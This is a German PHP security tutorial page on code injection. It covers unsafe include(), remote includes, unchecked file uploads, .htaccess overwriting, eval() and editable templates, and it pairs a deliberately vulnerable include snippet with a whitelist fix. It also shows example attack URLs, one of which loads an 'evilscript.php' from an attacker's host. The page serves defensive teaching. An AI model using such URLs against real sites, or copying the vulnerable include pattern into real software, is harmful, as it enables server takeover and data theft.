PHP-Einfach.de
  • PHP Tutorial
  • MySQL Tutorial
  • Für Fortgeschrittene
  • Webhosting
  • Forum

Code Injection

10. Februar 2020
  1. Home
  2. »
  3. Für Fortgeschrittene
  4. »
  5. PHP Sicherheit
  6. »
  7. Code Injection

Code-Injection bedeutet, dass ein Angreifer PHP-Code in eure Anwendung einschleust und die Möglichkeit hat diese auf eurem Server auszuführen. Ein erfolgreicher Code-Injection-Angriff hat zur Folge, dass der Angreifer beliebig eure Scripts und eure Datenbank manipulieren kann. Damit zählt eine Code-Injection zu einer der gefährlichsten Angriffen, ist aber zum Glück nur sehr selten möglich.

Inhaltsverzeichnis

  • 1 Grundlagen
  • 2 Typische Verwundbarkeiten
    • 2.1 Unsaubere Verwendung von include()
    • 2.2 Laden von fremden Inhalten mittels include()
    • 2.3 Fehlerhafter Dateiupload I - Keine Überprüfung der Datei
    • 2.4 Fehlerhafter Dateiupload II - Überschreibung vorhandener Dateien
    • 2.5 Verwendung der eval()-Funktion
    • 2.6 Unsichere Nutzung von Template-Engines
  • 3 Schutz vor Code-Injections

Grundlagen

Bei einer Code-Injection gelingt es einem Angreifer, Code auf eurem Webserver auszuführen. Dadurch kann dieser beliebigen Schaden auf eurem Webserver anrichten. Er kann sich darüber alle Dateien auf dem Webspace herunterladen, eure komplette Datenbank auslesen und auch Dateien auf dem Server manipulieren, beispielsweise den Login-Script so verändern, dass alle Kundenpasswörter in Klartext gespeichert und an den Angreifer gesendet wird. Deswegen sind potentielle Code-Injection-Schwachstellen zu vermeiden. Zum Glück sind diese Schwachstellen aber recht selten, da man als Entwickler schon recht ungeschickt sein muss, um einem Angreifer eine Code-Injection zu ermöglichen.

Typische Verwundbarkeiten

Eine Code-Injection ist typischerweise möglich aufgrund einer der folgenden Schwachstellen. Wenn ihr diese alle vermeidet, dann sollten eure PHP-Scripts soweit sicher sein.

Unsaubere Verwendung von include()

Include() und require() sind oft verwendete Funktionen um PHP-Scripts in mehrere Dateien aufzuteilen, beispielsweise in eine Datei mit Konfigurationswerten, eine Datei zum Aufbau der Datenbankverbindung, eine Datei mit oft genutzt Funktionen usw. Viele verwenden diese auch um den Content einer Website von den sonstigen Elementen (Menü, Header etc.) der Website zu trennen. Ein möglicher, unsicherer Code sieht wie folgt aus:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['seite'])) {
  $seite = $_GET['seite'];
} else {
  $seite = "startseite.php";
}
 
include("header.php");
 
include($seite);
 
include("footer.php");
?>

Solche Konstrukte erkennt man oft, indem diese Seiten mittels index.php?seite=contact.php o.ä. aufgerufen wird. Der fatale Fehler liegt hier in Zeile 10. Ein Angreifer kann den Parameter ?seite manipulieren  und damit beliebige Dateien auf dem Server ausführen oder ausgeben. Habt ihr beispielsweise in einem geschützen Verzeichnis irgendwelche sensiblen Daten, so kann der Angreifer diese mittels dem Auruf index.php?seite=geschuetzes_verzeichnis/geheime_daten.txt auslesen.

Es kann sogar noch schlimmer kommen und er kann unter Umständen Code von fremden Servern nachladen, indem er index.php?seite=http://hackers-website.de/evilscript.php ausführt. Sofern sein Webserver unter evilscript.php PHP-Code ausgibt (und dieses nicht interpretiert), so wird dieser PHP-Code von eurem Webserver geladen und bei euch auf dem Server ausgeführt. Schon hat der Angreifer die komplette Kontrolle über eure Website.

Das Laden mittels URL von einem fremden Webserver kann verhindert werden indem die Option allow_url_include deaktiviert wird (weitere Infos bzgl. Optionen des PHP Interpreters). Dies ist aber kein ausreichender Schutz.

Im Idealfall solltet ihr niemals Code dynamisch mittels include laden. Falls ihr dennoch darauf angewiesen seid, müsst ihr vorab überprüfen ob der Parameter einen gültigen, von euch erlaubten Wert hat. Eine Möglichkeit ist beispielsweise:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET['seite'])) {
  $seite = $_GET['seite'];
} else {
  $seite = "startseite.php";
}
 
$erlaubte_seiten = array("startseite.php", "contact.php", "business.php");
 
if(!in_array($seite, $erlaubte_seiten)) {
  die("Ungültige Seite");
}
 
include("header.php");
 
include($seite);
 
include("footer.php");
?>

Laden von fremden Inhalten mittels include()

Leider nutzen manche immer noch include um fremde Inhalte für eine Website zu laden, beispielsweise Werbung von einem Drittanbieter. Hier mag zwar die URL fest im Code kodiert sein, ihr seid aber dennoch Angreifbar bzgl. Code-Injections. Zum einen könnte der Drittanbieter dies gezielt ausnutzen und euch PHP-Code unterschieben und diesen darüber auf eurem Webserver ausführen. Oder der Drittanbieter wird gehackt und der Angreifer verteilt über die Werbeanzeigen entsprechend schadhaften PHP-Code, der weiteren Schaden auf allen anderen Systemen anrichten.

Es sind auch noch weitere Angriffe denkbar. Beispielsweise könnte auch der DNS-Server den euer Webhosting-Anbieter benutzt manipuliert werden und die Anzeigen werden nicht vom eigentlichen Drittanbieter bezogen, sondern von einem Server den der Angreifer kontrolliert. Und schon kann Schadcode über die include-Funktion bei euch ausgeführt werden.

Deswegen sollte nie eine URL mittels include geladen werden, am Besten dies ist wird schon durch die  PHP-Einstellungen deaktiviert indem allow_url_include auf false gesetzt wird. Nutzt zum Nachladen von z.B. Werbeanzeigen lieber file_get_contents. Damit wäre das einzige Gefahrenpotential "nur" noch Cross-Site-Scripting-Attacken.

Fehlerhafter Dateiupload I - Keine Überprüfung der Datei

Viele Websites erlauben den Upload von Dateien, beispielsweise von Fotodateien. Findet keine Überprüfung des Dateityps statt, so kann der Angreifer beispielsweise die Bild-Uploadfunktion missbrauchen und statt einem Bild eine PHP-Datei auf euren Server hochladen. Ist diese Datei aufrufbar, z.B. indem alle Uploads in einem bestimmten Ordner landen, so kann der Angreifer diese Datei ausführen und damit beliebigen Code ausführen, beispielsweise Code zum Löschen eurer Datenbank.

Solltet ihr einen Dateiupload besitzen, so solltet ihr unbedingt die Dateiendung und/oder den Dateityp (Mime-Typ) überprüfen und nur die erwünschten Dateien, beispielsweise Bilder, erlauben (mehr dazu im nächsten Abschnitt).

Fehlerhafter Dateiupload II - Überschreibung vorhandener Dateien

Ein weiteres Problem beim Dateiupload kann die Überschreibung von vorhandenen Dateien sein. Sollte move_upload_file() unvorsichtig eingesetzt werden, so wird der ursprüngliche Dateinahme beibehalten. Sind im Upload-Ordner andere Dateien vorhanden, so können diese überschrieben werden. Problematisch wird dies, wenn eine .htaccess-Datei den Zugriff auf den Ordner begrenzen soll, z.B. indem kein direkter Zugriff auf den Ordner möglich ist oder das Ausführungen von Script-Dateien verhindert wird. Der Angreifer könnte so die .htaccess-Datei überschreiben und so den Schutz des Upload-Ordners aufheben.

Verwendung der eval()-Funktion

Die eval() wertet eine Zeichenkette als PHP-Code aus. Leider ist diese besonders beliebt, wenn Programmierer auf die Idee kommen, PHP-Code in einer Datenbank abzuspeichern um diesen dann später zur Laufzeit auszuführen. Nicht zu unrecht kam für diese Funktion das Sprichwort "eval is pure evil" (eval ist bösartig) auf, da das Missbrauchspotential zu groß ist. Habt ihr in euren Datenbankeinträgen PHP-Code, so kann ein Angreifer nachdem er es schafft diesen Code in der Datenbank zu verändern (z.B. durch eine SQL-Injection oder durch einen gehackten Benutzerzugang), eine entsprechende Code-Injection durchführen und weiteren, beliebigen Schadcode auf der Website ausführen.

eval() sollte deswegen niemals verwendet werden. Neben des großen Gefahrenpotential dieser Funktion ist eval() ebenso eine zumeist sehr unsaubere und unprofessionelle Art der Programmierung und es macht das Auffinden von Fehlern deutlich schwieriger. Ihr solltet also lieber alternative Lösungswege suchen um euer Problem zu lösen und komplett auf den Einsatz von eval() verzichten.

Unsichere Nutzung von Template-Engines

Viele Template-Engines erlauben die Verwendung von Kontrollstrukturen (if, else etc.) in den Templates. Diese Templates werden meistens in PHP-Code übersetzt und dann mittels include geladen. Kann ein Angreifer die Templates bearbeiten, beispielsweise weil diese in der Datenbank abgespeichert sind oder weil ihr einen Editor im Administratoren-Backend besitzt zum Bearbeiten dieser Templates, so kann der Angreifer schadhaften PHP-Code in das Template einschleusen und später ausführen lassen. Schutz dagegen existiert nur, indem ihr verhindert das Angreifer eure Template bearbeiten könnt. D.h. diese zu bearbeiten sollte ebenso gut geschützt sein wie das direkte Bearbeiten eurer PHP Scripts. Ein Editor zum Verwalten der Templates im Administratorenbereich ist zwar bequem, aber auch eine entsprechende Sicherheitslücke. Denn Passwörter können von Administratoren leicht geklaut werden.

Schutz vor Code-Injections

Vermeidet ihr die obigen Probleme, so solltet ihr recht gut gegen Code-Injections geschützt sein. Sobald Code irgendwie dynamisch ausgeführt wird, sei es durch die Verwendung von include oder eval, solltet ihr vorsichtig werden ob ein Angreifer nicht Code einschleusen könnte. Auch solltet ihr verhindern, dass ein Angreifer Dateien auf eurem Server überschreiben kann. Sei dies durch ein Datei-Upload oder durch das Schreiben in Dateien mittels file_put_contents().

Autor: Nils Reimers
Zurück: Authentifizierung in PHP
Weiter: Sicherer Dateiupload

Für Fortgeschrittene

  • Objektorientierte Programmierung
  • PHP Sicherheit
    • Authentifizierung in PHP
    • Code Injection
      • Sicherer Dateiupload
    • Cross-Site-Request-Forgery (CSRF)
    • Cross-Site-Scripting (XSS) in PHP
    • Daten sicher speichern
    • Daten validieren
    • Penetrationtesting für PHP
    • SQL-Injections
  • Script-Beispiele
  • Codeschnipsel
  • Stellenmarkt
Mit freundlicher Unterstützung von:
  • Punkt191 Werbeagentur

Hoster – Geringste Ausfallzeit

  1. netcup Ø 0 Min.
  2. webgo Ø 0 Min.
  3. Linevast Ø 3 Min.
  4. All-Inkl.com Ø 3 Min.
  5. checkdomain Ø 4 Min.
  6. dogado Ø 6 Min.
  7. Strato Ø 8 Min.
  8. manitu Ø 10 Min.
  9. 1&1 Ø 10 Min.
  10. DomainFactory Ø 14 Min.
» Mehr erfahren

Impressum | Datenschutz | Auf PHP-Einfach.de werben

© PHP-Einfach.de 2003 - 2025

Cookie-Zustimmung verwalten
Um dir ein optimales Erlebnis zu bieten, verwenden wir Technologien wie Cookies, um Geräteinformationen zu speichern und/oder darauf zuzugreifen. Wenn du diesen Technologien zustimmst, können wir Daten wie das Surfverhalten oder eindeutige IDs auf dieser Website verarbeiten. Wenn du deine Zustimmung nicht erteilst oder zurückziehst, können bestimmte Merkmale und Funktionen beeinträchtigt werden.
Funktional Immer aktiv
Die technische Speicherung oder der Zugang ist unbedingt erforderlich für den rechtmäßigen Zweck, die Nutzung eines bestimmten Dienstes zu ermöglichen, der vom Teilnehmer oder Nutzer ausdrücklich gewünscht wird, oder für den alleinigen Zweck, die Übertragung einer Nachricht über ein elektronisches Kommunikationsnetz durchzuführen.
Vorlieben
Die technische Speicherung oder der Zugriff ist für den rechtmäßigen Zweck der Speicherung von Präferenzen erforderlich, die nicht vom Abonnenten oder Benutzer angefordert wurden.
Statistiken
Die technische Speicherung oder der Zugriff, der ausschließlich zu statistischen Zwecken erfolgt. Die technische Speicherung oder der Zugriff, der ausschließlich zu anonymen statistischen Zwecken verwendet wird. Ohne eine Vorladung, die freiwillige Zustimmung deines Internetdienstanbieters oder zusätzliche Aufzeichnungen von Dritten können die zu diesem Zweck gespeicherten oder abgerufenen Informationen allein in der Regel nicht dazu verwendet werden, dich zu identifizieren.
Marketing
Die technische Speicherung oder der Zugriff ist erforderlich, um Nutzerprofile zu erstellen, um Werbung zu versenden oder um den Nutzer auf einer Website oder über mehrere Websites hinweg zu ähnlichen Marketingzwecken zu verfolgen.
Optionen verwalten Dienste verwalten Anbieter verwalten Lese mehr über diese Zwecke
Einstellungen ansehen
{title} {title} {title}